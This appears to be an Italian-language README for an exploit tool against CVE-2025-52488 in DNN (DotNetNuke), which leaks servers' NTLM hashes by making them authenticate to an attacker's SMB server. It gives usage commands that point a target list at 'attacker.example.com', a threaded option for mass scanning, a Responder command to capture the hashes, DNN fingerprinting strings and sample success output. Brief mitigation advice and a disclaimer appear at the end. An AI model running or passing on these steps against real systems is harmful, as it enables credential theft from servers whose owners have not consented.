Exploit per Divulgazione di Hash NTLM tramite Normalizzazione Unicode dei Percorsi in DNN (CVE-2025-52488)

Panoramica

Questo exploit prende di mira una vulnerabilità nelle versioni di DNN (in precedenza DotNetNuke) dalla 6.0.0 alla precedente alla 10.0.1 che consente agli aggressori di divulgare hash NTLM attraverso attacchi di normalizzazione Unicode dei percorsi.

Dettagli della Vulnerabilità

• ID CVE: CVE-2025-52488
• Gravità: Alta (CVSS 8.6)
• Versioni Coinvolte: 6.0.0 fino alla precedente alla 10.0.1
• Vettore di Attacco: Rete
• Autenticazione: Non richiesta

Come Funziona

L'exploit abusa di particolarità di Windows/.NET e della normalizzazione Unicode per forzare il server DNN di destinazione a effettuare richieste SMB verso un server controllato dall'aggressore, esponendo potenzialmente gli hash NTLM durante il processo di autenticazione.

Prerequisiti

1. Python 3.7+
2. Pacchetti richiesti (installabili con pip install -r requirements.txt)
3. Server SMB per catturare gli hash NTLM (es. Responder, Burp Collaborator)

Utilizzo

Utilizzo Base

python main.py targets.txt attacker.example.com

Con Parametri Personalizzati

python main.py targets.txt 192.168.1.100 -t 20 --timeout 15

Argomenti

• targets: File contenente l'elenco degli host DNN (uno per riga)
• smb_server: Hostname/IP del server SMB per catturare gli hash NTLM
• -t, --threads: Numero di thread concorrenti (predefinito: 10)
• --timeout: Timeout delle richieste in secondi (predefinito: 10)

Formato del File dei Target

Crea un file di testo con gli URL target, uno per riga:

http://target1.example.com
https://target2.example.com:8080
target3.example.com

Configurazione del Server SMB

Puoi usare strumenti come Responder per catturare gli hash NTLM:

responder -I eth0 -wrf

Oppure usa Burp Collaborator per il rilevamento out-of-band.

Esempio di Output

[2025-01-XX-XX:XX:XX] [INFO] Starting DNN NTLM hash disclosure exploit against 5 targets
[2025-01-XX-XX:XX:XX] [INFO] SMB Server: attacker.example.com
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] DNN indicator found: dnn_IsMobile
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] File upload endpoint accessible
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] Exploit payload sent successfully
[2025-01-XX-XX:XX:XX] [INFO] [target1.com] Check your SMB server for incoming NTLM authentication attempts

Indicatori di Rilevamento

L'exploit cerca i seguenti indicatori DNN:

• Cookie dnn_IsMobile
• dotnetnuke nella risposta
• dnnconnect nella risposta
• DNN Platform nella risposta

Mitigazione

• Aggiornare DNN alla versione 10.0.1 o successiva
• Implementare controlli a livello di rete per impedire richieste SMB verso server esterni
• Monitorare tentativi sospetti di caricamento file

Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. Usalo in modo responsabile e solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione a testare.

Riferimenti

• CVE-2025-52488
• Assetnote Research